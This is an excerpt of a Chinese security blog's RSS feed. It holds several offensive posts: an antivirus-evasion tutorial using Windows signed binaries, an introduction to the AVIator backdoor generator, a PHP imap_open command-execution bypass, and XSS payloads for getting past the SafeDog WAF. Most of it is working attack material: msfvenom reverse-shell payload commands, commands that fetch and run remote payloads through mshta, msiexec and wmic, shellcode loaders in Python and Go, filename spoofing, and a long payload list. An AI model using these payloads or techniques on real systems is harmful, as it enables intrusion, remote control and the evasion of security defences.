<p>受害机：Win 7 ：172.16.1.135</p>
<h1>Windows白加黑</h1>
<p>白加黑需要的payload可以使用<a href="https://y4er.com/post/download-shell/">一句话下载姿势总结</a> 把payload下载到目标机器，这里不再赘述。</p>
<h2>MSBuild</h2>
<blockquote><p>
  MSBuild是Microsoft Build Engine的缩写，代表Microsoft和Visual Studio的新的生成平台</p>
<p>  MSBuild可在未安装Visual Studio的环境中编译.net的工程文件</p>
<p>  MSBuild可编译特定格式的xml文件</p>
<p>  更多基本知识可参照以下链接：</p>
<p>  https://msdn.microsoft.com/en-us/library/dd393574.aspx
</p></blockquote>
<p>意思就是msbuild可以编译执行csharp代码。</p>
<p>在这里我们需要知道的是msbuild的路径</p>
<p>加载32位的shellcode需要用32位的msbuild</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
</code></pre>
<p>加载64位的shellcode需要用64位的msbuild</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
</code></pre>
<p>我们这里用64位的shellcode和64位的win7来操作。</p>
<pre><code class="language-bash ">msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task</p>
<p>我们用的是<code>executes x64 shellcode.xml</code>的模板，把里面45行之后的改为自己的shellcode</p>
<p>然后msf监听</p>
<pre><code class="language-bash ">msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j
</code></pre>
<p>在目标机器上运行</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework64\v4.0.30319&gt;MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
</code></pre>
<p>然后会话上线，某数字卫士无反应，并且正常执行命令</p>
<p><img src="https://y4er.com/img/uploads/20190719154312.png" alt="360数字卫士" /></p>
<p>更多关于msbuild的内容可以参考<a href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/">三好学生师傅的文章</a></p>
<h2>Installutil.exe&amp;csc.exe</h2>
<blockquote><p>
  Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。</p>
<p>  具体参考：<a href="https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)">Windows Installer部署</a>
</p></blockquote>
<p>通过msfvenom生成C＃的shellcode</p>
<pre><code class="language-powershell ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>下载InstallUtil-Shellcode.cs，将上面生成的shellcode复制到该cs文件中</p>
<p>https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260</p>
<p>csc编译InstallUtil-ShellCode.cs</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
</code></pre>
<p>编译生成的文件后缀名无所谓exe dll txt都可以，但只能InstallUtil.exe来触发</p>
<p>InstallUtil.exe执行 反弹shell</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
</code></pre>
<p>参考https://www.blackhillsinfosec.com/how-to-<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span>-application-whitelisting-av/</p>
<h2>regasm和regsvcs</h2>
<p>regasm和regsvcs都可以用来反弹shell的，而且方式也一样</p>
<p><a href="https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs">下载这个cs文件</a> ，然后替换你的shellcode</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>使用sn.exe生成公钥和私钥，如果没有sn命令你可能需要安装vs</p>
<pre><code class="language-bash ">sn -k key.snk
</code></pre>
<p>编译dll，注意文件的路径</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
</code></pre>
<p>用这两者上线</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
</code></pre>
<p>或者这样</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
</code></pre>
<p>上线成功。</p>
<h2>mshta</h2>
<p>mshta是在环境变量里的</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw &gt; shellcode.bin
</code></pre>
<pre><code class="language-bash ">cat shellcode.bin |base64 ‐w 0
</code></pre>
<p>然后替换这个文件中的shellcode</p>
<p>https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta</p>
<p>替换<code>' ---------- DO NOT EDIT BELOW HERE -----------</code>上面引号包起来的base64，可以将hta托管出来。</p>
<pre><code class="language-bash ">mshta.exe http://baidu.com/shellcode.hta
</code></pre>
<p>在cobalt strike中mshta也是一个很方便的上线功能。</p>
<h2>Msiexec简介：</h2>
<p>Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包（MSI）,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于 Windows 2003，Windows 7 等。</p>
<p>Msiexec已经被添加到环境变量了。</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi &gt; shellcode.txt
</code></pre>
<p>目标机执行</p>
<pre><code class="language-bash ">msiexec.exe /q /i http://172.16.1.130/shellcode.txt
</code></pre>
<h2>wmic</h2>
<p>已经被添加到环境变量</p>
<p>poc</p>
<pre><code class="language-bash ">wmic os get /FORMAT:"http://example.com/evil.xsl"
</code></pre>
<pre data-language=XML><code class="language-markup ">&lt;?xml version='1.0'?&gt;
&lt;stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0"&gt;
&lt;output method="text"/&gt;
    &lt;ms:script implements-prefix="user" language="JScript"&gt;
    &lt;![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]&gt; &lt;/ms:script&gt;
&lt;/stylesheet&gt;
</code></pre>
<p>参考:<a href="https://3gstudent.github.io/利用wmic调用xsl文件的分析与利用/">利用wmic调用xsl文件的分析与利用</a><br />
这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl</p>
<h2>rundll32</h2>
<p>Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。</p>
<pre><code class="language-bash ">rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
</code></pre>
<p>也可以去执行msf生成的dll</p>
<pre><code class="language-bash ">rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll
</code></pre>
<hr />
<p>在这我们先简单介绍这几种，还有<code>compiler.exe</code> <code>odbcconf</code> <code>psexec</code> <code>ftp.exe</code>等等。在这里给出参考连接</p>
<p>micro8前辈 https://micro8.gitbook.io/micro8/contents-1#71-80-ke</p>
<h1>payload分离免杀</h1>
<p>在这里也只介绍两种分离免杀的姿势</p>
<h2>shellcode loader</h2>
<p>借助第三方加载器，将shellcode加载到内存中来执行。</p>
<p>https://github.com/clinicallyinane/shellcode_launcher</p>
<pre><code class="language-bash ">msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw &gt; test.c
</code></pre>
<p>靶机执行</p>
<pre><code class="language-bash ">shellcode_launcher.exe -i test.c
</code></pre>
<p>msf监听正常上线</p>
<h2>csc和InstallUtil</h2>
<p>不再赘述，参考上文白加黑</p>
<h1>偏僻语言</h1>
<p>实际上也不能说偏僻语言，原理是让杀软不识别文件的pe头。我们在这说两种</p>
<h2>pyinstaller</h2>
<p>py版的shellcode模板</p>
<pre><code class="language-python ">#! /usr/bin/env python
# encoding:utf-8

import ctypes

def execute():
    # Bind shell
    shellcode = bytearray(
    "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
        ...
    "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
    "\x13"
     )

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
    buf,
    ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
    ctypes.c_int(-1))
if __name__ == "__main__":
    execute()
</code></pre>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py
</code></pre>
<p>使用pyinstaller打包</p>
<pre><code class="language-bash ">pyinstaller.py -F --console 1.py
</code></pre>
<p>和pyinstaller类似的还有py2exe，不再赘述。</p>
<h2>go+upx</h2>
<pre><code class="language-go ">package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
    ...省略...
    buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&amp;shellcode[0])))
}
</code></pre>
<p>如果正常编译体积会很大，建议使用<code>go build -ldflags="-s -w"</code>参数来编译生成exe，你也可以<code>go build -ldflags="-H windowsgui -s -w"</code>去掉命令窗口</p>
<p>编译出来900多kb，在使用upx压缩一下会降低到200kb左右，也能正常上线。</p>
<h1>写在文后</h1>
<p>本文所讲到的很多姿势实际上是用来bypass applocker，不过也能弹回来会话。</p>
<p>实战环境复杂，更多情况下请自行判断该使用什么姿势，实际上有时候你折腾半天不上线还不如直接一个bash反弹回来方便。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>AVIator：使用加密和注入技术来绕过AV检测 3/71</title>
		<link>/tools/658.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:25:56 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[进程]]></category>
		<guid isPermaLink="false">/?p=658</guid>

					<description><![CDATA[Ator是一个后门生成器实用程序，它使用加密和注入技术来绕过AV检测。进一步来说： 它使用AES加密来加密给定的shellcode 生成包含加密有效负载的可执行文件 使用各种注入技...]]></description>
										<content:encoded><![CDATA[<div class="post-image"><img loading="lazy" class="alignnone size-medium" src="https://user-images.githubusercontent.com/4659186/56884557-d9899800-6a72-11e9-8bb5-95872da1407d.png" alt="AVIator：使用加密和注入技术来绕过AV检测 3/71-ChaBug安全" width="858" height="968" /></div>
<p><strong>Ator</strong>是一个后门生成器实用程序，它使用加密和<a class="tag_link" title="浏览关于“注入”的文章" href="/tags/%e6%b3%a8%e5%85%a5" target="_blank" rel="noopener noreferrer">注入</a>技术来绕过AV检测。进一步来说：</p>
<ul>
<li>它使用AES加密来加密给定的shellcode</li>
<li>生成包含加密有效负载的可执行文件</li>
<li>使用各种<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>技术将shellcode解密并注入目标系统</li>
</ul>
<p>[ <a href="https://attack.mitre.org/techniques/T1055/" target="_blank" rel="nofollow noopener noreferrer">进程注入</a> ]：</p>
<ol>
<li>便携式可执行注入，包括将恶意代码直接写入<a class="tag_link" title="浏览关于“进程”的文章" href="/tags/%e8%bf%9b%e7%a8%8b" target="_blank" rel="noopener noreferrer">进程</a>（没有磁盘上的文件），然后使用其他代码或通过创建远程线程调用执行。注入代码的位移引入了重新映射内存引用的功能的附加要求。这种方法的变化，例如反射DLL注入（将自映射DLL写入<span class="wpcom_tag_link"><a href="/tags/%e8%bf%9b%e7%a8%8b" title="进程" target="_blank">进程</a></span>）和内存模块（写入进程时映射DLL）克服了地址重定位问题。</li>
<li>线程执行劫持涉及将恶意代码或DLL的路径注入进程的线程。与Process Hollowing类似，必须首先暂停该线程。</li>
</ol>
<h3>用法</h3>
<p>该应用程序有一个由三个主要输入组成的表单（见下面的截图）：</p>
<div class="post-image"><a class="fancybox" title="AVIator：使用加密和注入技术来绕过AV检测 3/71" href="https://user-images.githubusercontent.com/4659186/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png" target="_blank" rel="box noopener noreferrer"><img src="https://user-images.githubusercontent.com/4659186/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png" alt="AVIator：使用加密和注入技术来绕过AV检测 3/71-ChaBug安全" /></a></div>
<ol>
<li>包含用于加密shellcode的加密密钥的文本</li>
<li>包含用于AES加密的IV的文本</li>
<li>包含shellcode的文本</li>
</ol>
<p>重要提示：shellcode应作为C＃字节数组提供。</p>
<p>默认值包含执行notepad.exe（32位）的shellcode。提供此演示作为代码应如何形成的指示（使用msfvenom，可以使用-f csharp开关轻松完成，例如msfvenom -p windows / meterpreter / reverse_tcp LHOST = XXXX LPORT = XXXX -f csharp）。</p>
<p>在填充提供的输入并选择输出路径之后，根据所选择的选项生成可执行文件。</p>
<h3><a id="user-content-rtlo-option" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#rtlo-option" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>RTLO选项</h3>
<p>简单来说，欺骗可执行文件看起来像“无辜”扩展，如&#8217;pdf&#8217;，&#8217;txt&#8217;等。例如文件“testcod.exe”将被解释为“tesexe.doc”</p>
<p>请注意，某些AV会将恶搞作为恶意软件提醒自己。</p>
<h3><a id="user-content-set-custom-icon" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#set-custom-icon" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>设置自定义图标</h3>
<p>我想你们都知道它是什么:)</p>
<h3><a id="user-content-bypassing-kaspersky-av-on-a-win-10-x64-host-test-case" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#bypassing-kaspersky-av-on-a-win-10-x64-host-test-case" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>在Win 10 x64主机上绕过卡巴斯基AV（TEST CASE）</h3>
<p>在运行完全更新的卡巴斯基AV的Windows 10机器中获取shell</p>
<h4><a id="user-content-target-machine-windows-10-x64" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#target-machine-windows-10-x64" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>目标机器：Windows 10 x64</h4>
<ol>
<li>使用msfvenom创建有效负载<code>msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp</code></li>
<li>使用AVIator进行以下设置目标OS体系结构：x64
<p>注入技术：线程劫持（Shellcode Arch：x64，OS arch：x64）</p>
<p>目标程序：资源管理器（保留默认值）</li>
<li>在攻击者计算机上设置侦听器</li>
<li>在受害计算机上运行生成的exe</li>
</ol>
<h1>安装</h1>
<p><strong>Windows：</strong></p>
<p>编译项目或从以下文件夹下载allready编译的可执行文件：</p>
<p><a href="https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries" target="_blank" rel="nofollow noopener noreferrer">https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries</a></p>
<p><strong>Linux：</strong></p>
<p>根据您的Linux发行版安装Mono，下载并运行二进制文件</p>
<p>例如在kali：</p>
<div id="crayon-5d1778bfd7fd3344976172" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-toolbar" data-settings=" mouseover overlay hide delay">
<div class="crayon-tools">
<div class="crayon-button crayon-nums-button" title="Toggle Line Numbers">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-plain-button" title="Toggle Plain Code">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-wrap-button" title="Toggle Line Wrap">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-expand-button" title="Expand Code">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-copy-button" title="Copy">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-popup-button" title="Open Code In New Window">
<div class="crayon-button-icon"></div>
</div>
</div>
</div>
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1778bfd7fd3344976172-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1778bfd7fd3344976172-2">2</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1778bfd7fd3344976172-1" class="crayon-line"><span class="crayon-v">root</span><span class="crayon-sy">@</span><span class="crayon-v">kali</span><span class="crayon-p"># apt install mono-devel </span></div>
<div id="crayon-5d1778bfd7fd3344976172-2" class="crayon-line crayon-striped-line"><span class="crayon-v">root</span><span class="crayon-sy">@</span><span class="crayon-v">kali</span><span class="crayon-p"># mono aviator.exe</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>详细内容移步<a href="https://github.com/Ch0pin/AVIator" target="_blank" rel="nofollow noopener noreferrer">https://github.com/Ch0pin/AVIator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>利用异或无限免杀webshell过D盾 PHP/ASPX/ASP/JSP</title>
		<link>/tools/657.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:24:50 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[webshell]]></category>
		<guid isPermaLink="false">/?p=657</guid>

					<description><![CDATA[github仓库链接：https://github.com/yzddmr6/webshell-venom/ 膜拜下@yzddmr6师傅]]></description>
										<content:encoded><![CDATA[<p>github仓库链接：https://github.com/yzddmr6/<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>-venom/</p>
<p>膜拜下@yzddmr6师傅</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Bypassing disabled exec functions in PHP via imap_open</title>
		<link>/web/600.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 15 Nov 2018 11:02:33 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=600</guid>

					<description><![CDATA[看到一个新的Bypass disable function姿势 &#60;?php # https://antichat.com/threads/463395/#post-42546...]]></description>
										<content:encoded><![CDATA[<p>看到一个新的Bypass disable function姿势</p>
<pre class="lang:default decode:true ">&lt;?php
# https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'&gt;/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());</pre>
<p>&nbsp;</p>
<p>本地复现成功，debain9 php7.0环境，需要一个imap扩展</p>
<pre class="lang:default decode:true ">apt-get install php-imap</pre>
<p>From:<br />
<a href="https://antichat.com/threads/463395/#post-4254681" target="_blank" rel="noopener">https://antichat.com/threads/463395/#post-4254681</a><br />
<a href="https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php" target="_blank" rel="noopener">https://github.com/Bo0oM/PHP_ima &#8230; /master/exploit.php</a></p>
<p style="text-align: left;"><a href="https://www.t00ls.net/thread-48531-1-1.html">https://www.t00ls.net/thread-48531-1-1.html</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>xss bypass safedog</title>
		<link>/web/534.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 15 Aug 2018 04:34:55 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=534</guid>

					<description><![CDATA[核心@X1r0z原创，总是有惊奇的脑回路。 &#160; ref-xss 绕过 payload 格式 &#60;[WORD] on[EVENT]=[EVAL]&#62;[TEXT] 在...]]></description>
										<content:encoded><![CDATA[<p><a href="https://i.pinimg.com/originals/5a/dd/fc/5addfc249e363065f74878269821913f.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://i.pinimg.com/originals/5a/dd/fc/5addfc249e363065f74878269821913f.jpg" width="549" height="480" /></a></p>
<blockquote><p>核心<a href="https://exp10it.cn/2018/08/15/2018-08-15-xss-bypass-safedog/">@X1r0z</a>原创，总是有惊奇的脑回路。</p></blockquote>
<p>&nbsp;</p>
<h2 id="ref-xss">ref-xss</h2>
<p>绕过 payload 格式<br />
<span class="lang:default decode:true crayon-inline ">&lt;[WORD] on[EVENT]=[EVAL]&gt;[TEXT]</span><br />
在随机单词的标签内加上 on 事件, 最后在标签外加上文本.</p>
<p>因为 html 的松散性, 导致<span class="lang:default decode:true crayon-inline ">&lt;sb&gt;sb&lt;/sb&gt;</span> 都能被解析成标签, 并且支持触发类似于<span class="lang:default decode:true crayon-inline ">onclick onmouseover</span> 的事件</p>
<p>特别小众的标签也可以绕过安全狗的规则, 比如<span class="lang:default decode:true crayon-inline ">acronym address</span> 翻翻 w3c 的教程能找出好多</p>
<h2 id="dom-xss">dom-xss</h2>
<p>安全狗不存在 dom-xss 的拦截规则</p>
<p>基本上没有尖括号就可以绕过了, 或者使用上面的 payload</p>
<p>由于上下文是在 JavaScript 的环境内, 会有很多的变形</p>
<pre class="lang:default decode:true ">";alert(0);//
";document.write("\u003cscript\u003ealert(0)\u003c\u002fscript\u003e");//</pre>
<p>&nbsp;</p>
<p>总之先闭合 然后直接弹窗 or 用<span class="lang:default decode:true crayon-inline ">docment.write</span> 写标签</p>
<h2 id="payloads">payloads</h2>
<pre class="lang:default decode:true ">&lt;a onclick="javascript:alert(0)"&gt;a
&lt;javascript onclick="javascript:alert(0)"&gt;a
&lt;b onclick="javascript:alert(0)"&gt;a
&lt;abbr onclick="javascript:alert(0)"&gt;a
&lt;acronym onclick="javascript:alert(0)"&gt;a
&lt;address onclick="javascript:alert(0)"&gt;a
&lt;applet onclick="javascript:alert(0)"&gt;a
&lt;article onclick="javascript:alert(0)"&gt;a
&lt;xss onclick="javascript:alert(0)"&gt;a
&lt;aside onclick="javascript:alert(0)"&gt;a
&lt;bdi onclick="javascript:alert(0)"&gt;a
&lt;bdo onclick="javascript:alert(0)"&gt;a
&lt;big onclick="javascript:alert(0)"&gt;a
&lt;button onclick="javascript:alert(0)"&gt;a
&lt;del onclick="javascript:alert(0)"&gt;a
&lt;details onclick="javascript:alert(0)"&gt;a
&lt;div onclick="javascript:alert(0)"&gt;a
&lt;dfn onclick="javascript:alert(0)"&gt;a
&lt;dl onclick="javascript:alert(0)"&gt;a
&lt;dt onclick="javascript:alert(0)"&gt;a
&lt;h1 onclick="javascript:alert(0)"&gt;a
&lt;h2 onclick="javascript:alert(0)"&gt;a
&lt;h3 onclick="javascript:alert(0)"&gt;a
&lt;h4 onclick="javascript:alert(0)"&gt;a
&lt;h5 onclick="javascript:alert(0)"&gt;a
&lt;h6 onclick="javascript:alert(0)"&gt;a
&lt;header onclick="javascript:alert(0)"&gt;a
&lt;hr onclick="javascript:alert(0)"&gt;a
&lt;html onclick="javascript:alert(0)"&gt;a
&lt;kbd onclick="javascript:alert(0)"&gt;a
&lt;map onclick="javascript:alert(0)"&gt;a
&lt;mark onclick="javascript:alert(0)"&gt;a
&lt;menu onclick="javascript:alert(0)"&gt;a
&lt;menuitem onclick="javascript:alert(0)"&gt;a
&lt;meter onclick="javascript:alert(0)"&gt;a
&lt;q onclick="javascript:alert(0)"&gt;a
&lt;var onclick="javascript:alert(0)"&gt;a
&lt;xmp onclick="javascript:alert(0)"&gt;a
&lt;addons onclick="javascript:alert(0)"&gt;a
&lt;ascii onclick="javascript:alert(0)"&gt;a
&lt;aspx onclick="javascript:alert(0)"&gt;a
&lt;java onclick="javascript:alert(0)"&gt;a
&lt;mobile onclick="javascript:alert(0)"&gt;a
&lt;go onclick="javascript:alert(0)"&gt;a
&lt;alibaba onclick="javascript:alert(0)"&gt;a
&lt;baidu onclick="javascript:alert(0)"&gt;a
&lt;google onclick="javascript:alert(0)"&gt;a
&lt;github onclick="javascript:alert(0)"&gt;a
&lt;acu onclick="javascript:alert(0)"&gt;a
&lt;mail onclick="javascript:alert(0)"&gt;a
&lt;a onmouseover="javascript:alert(0)"&gt;a
&lt;javascript onmouseover="javascript:alert(0)"&gt;a
&lt;b onmouseover="javascript:alert(0)"&gt;a
&lt;abbr onmouseover="javascript:alert(0)"&gt;a
&lt;acronym onmouseover="javascript:alert(0)"&gt;a
&lt;address onmouseover="javascript:alert(0)"&gt;a
&lt;applet onmouseover="javascript:alert(0)"&gt;a
&lt;article onmouseover="javascript:alert(0)"&gt;a
&lt;xss onmouseover="javascript:alert(0)"&gt;a
&lt;aside onmouseover="javascript:alert(0)"&gt;a
&lt;bdi onmouseover="javascript:alert(0)"&gt;a
&lt;bdo onmouseover="javascript:alert(0)"&gt;a
&lt;big onmouseover="javascript:alert(0)"&gt;a
&lt;button onmouseover="javascript:alert(0)"&gt;a
&lt;del onmouseover="javascript:alert(0)"&gt;a
&lt;details onmouseover="javascript:alert(0)"&gt;a
&lt;div onmouseover="javascript:alert(0)"&gt;a
&lt;dfn onmouseover="javascript:alert(0)"&gt;a
&lt;dl onmouseover="javascript:alert(0)"&gt;a
&lt;dt onmouseover="javascript:alert(0)"&gt;a
&lt;h1 onmouseover="javascript:alert(0)"&gt;a
&lt;h2 onmouseover="javascript:alert(0)"&gt;a
&lt;h3 onmouseover="javascript:alert(0)"&gt;a
&lt;h4 onmouseover="javascript:alert(0)"&gt;a
&lt;h5 onmouseover="javascript:alert(0)"&gt;a
&lt;h6 onmouseover="javascript:alert(0)"&gt;a
&lt;header onmouseover="javascript:alert(0)"&gt;a
&lt;hr onmouseover="javascript:alert(0)"&gt;a
&lt;html onmouseover="javascript:alert(0)"&gt;a
&lt;kbd onmouseover="javascript:alert(0)"&gt;a
&lt;map onmouseover="javascript:alert(0)"&gt;a
&lt;mark onmouseover="javascript:alert(0)"&gt;a
&lt;menu onmouseover="javascript:alert(0)"&gt;a
&lt;menuitem onmouseover="javascript:alert(0)"&gt;a
&lt;meter onmouseover="javascript:alert(0)"&gt;a
&lt;q onmouseover="javascript:alert(0)"&gt;a
&lt;var onmouseover="javascript:alert(0)"&gt;a
&lt;xmp onmouseover="javascript:alert(0)"&gt;a
&lt;addons onmouseover="javascript:alert(0)"&gt;a
&lt;ascii onmouseover="javascript:alert(0)"&gt;a
&lt;aspx onmouseover="javascript:alert(0)"&gt;a
&lt;java onmouseover="javascript:alert(0)"&gt;a
&lt;mobile onmouseover="javascript:alert(0)"&gt;a
&lt;go onmouseover="javascript:alert(0)"&gt;a
&lt;alibaba onmouseover="javascript:alert(0)"&gt;a
&lt;baidu onmouseover="javascript:alert(0)"&gt;a
&lt;google onmouseover="javascript:alert(0)"&gt;a
&lt;github onmouseover="javascript:alert(0)"&gt;a
&lt;acu onmouseover="javascript:alert(0)"&gt;a
&lt;mail onmouseover="javascript:alert(0)"&gt;a</pre>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
